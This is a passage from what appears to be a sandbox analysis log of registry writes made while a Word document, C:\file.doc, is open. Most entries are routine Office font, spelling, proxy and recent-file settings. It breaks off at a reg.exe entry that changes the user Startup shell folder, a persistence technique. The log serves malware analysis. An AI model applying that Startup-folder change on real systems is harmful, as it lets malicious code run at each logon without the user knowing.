"HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PRISTINA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAAVI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAGE ITALIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "RAVIE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROCKWELL EXTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ROD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SAKKAL MAJALLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SCRIPT MT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE PRINT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SEMILIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SEGOE UI SYMBOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHONAR BANGLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHOWCARD GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SHRUTI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMPLIFIED ARABIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMPLIFIED ARABIC FIXED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SIMSUN-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SNAP ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "STENCIL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "STENCIL BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SWIS721 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SYLFAEN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "SYMBOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TAHOMA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TEMPUS SANS ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TIMES NEW ROMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TRADITIONAL ARABIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TREBUCHET MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TUNGA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "TW CEN MT CONDENSED EXTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "UTSAAH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VANI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VERDANA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VIJAYA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VINER HAND ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VIVALDI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VLADIMIR SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "VRINDA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WEBDINGS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WIDE LATIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS 2"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "WINGDINGS 3"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BACDOO BOLD "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BELLA MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BLOCK MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BONMOKGAK MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ BUTGOT LIGHT "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ CHMSOOT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ DOOLGI MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ DWMMOOGJO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ GABI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ GOTGAE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ INITIALPOSITIVE MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ INJANG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ MAEHWA SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ NANCHO MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ SHANALL MEDIUM "; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ SOSEL SEMIBOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ TEUNTEUN BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "YJ WADAG MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY\TRUSTED DOCUMENTS"; Key: "LASTPURGETIME"; Value: "0887AD01") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "0100EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "0200EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "0100EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "0200EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0100EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0200EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "0300EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100A0C00000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_3082"; Value: "0400EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "0300EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F100C0400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1036"; Value: "0400EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0300EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0400EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0500EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0600EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0700EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109F10090400000000000F01FEC\USAGE"; Key: "SPELLINGANDGRAMMARFILES_1033"; Value: "0800EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{0C70BB6D-CFA8-4734-A158-28619E142726}"; Key: "WPADDECISIONREASON"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{0C70BB6D-CFA8-4734-A158-28619E142726}"; Key: "WPADDECISIONTIME"; Value: "C4A74027F8B2D901") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{0C70BB6D-CFA8-4734-A158-28619E142726}"; Key: "WPADDECISION"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{0C70BB6D-CFA8-4734-A158-28619E142726}"; Key: "WPADNETWORKNAME"; Value: "Network 5") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\AC-1F-6B-0D-DB-84"; Key: "WPADDECISIONREASON"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\AC-1F-6B-0D-DB-84"; Key: "WPADDECISIONTIME"; Value: "C4A74027F8B2D901") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\AC-1F-6B-0D-DB-84"; Key: "WPADDECISION"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\126\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "BR "; Value: "br") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "Off") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "4F006E000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "WORDFILES"; Value: "0200EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0100EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0200EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD"; Key: "MTTT"; Value: "840A000036DC791FF8B2D90100000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "* !"; Value: "* !") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: ",(!"; Value: ",(!") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "VBAFILES"; Value: "0100EA56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\REVIEWCYCLE"; Key: "REVIEWTOKEN"; Value: "{E1832D5A-E73B-4259-A0F4-EC091F04218D}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "MAX DISPLAY"; Value: "19000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01D9B2F824B5AD60][O00000000]*C:\") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\FILE MRU"; Key: "MAX DISPLAY"; Value: "19000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\FILE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01D9B2F824BA6850][O00000000]*C:\file.doc") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\DOCUMENTRECOVERY\36159722"; Key: "36159722"; Value: "04000000840A00000B00000043003A005C00660069006C0065002E0064006F00630004000000660069006C0065000000000001000000000000000043C6EDF7B2D901229715362297153600000000DB040000000000000000000000000000000000000000000000000000FFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "46000000060200000900000000000000000000000000000004000000000000003071E4E2286CD3010000000000000000000000000100000002000000C0A8F374000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "0000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LICENSING"; Key: "019C826E445A4649A5B00BF08FCC4EEE"; Value: "09000000270000007B39303134303030302D303031312D303030302D303030302D3030303030303046463143457D00580000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F0050006C00750073002D004B004D0053005F0043006C00690065006E0074002000650064006900740069006F006E000000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: "STARTUP"; Value: 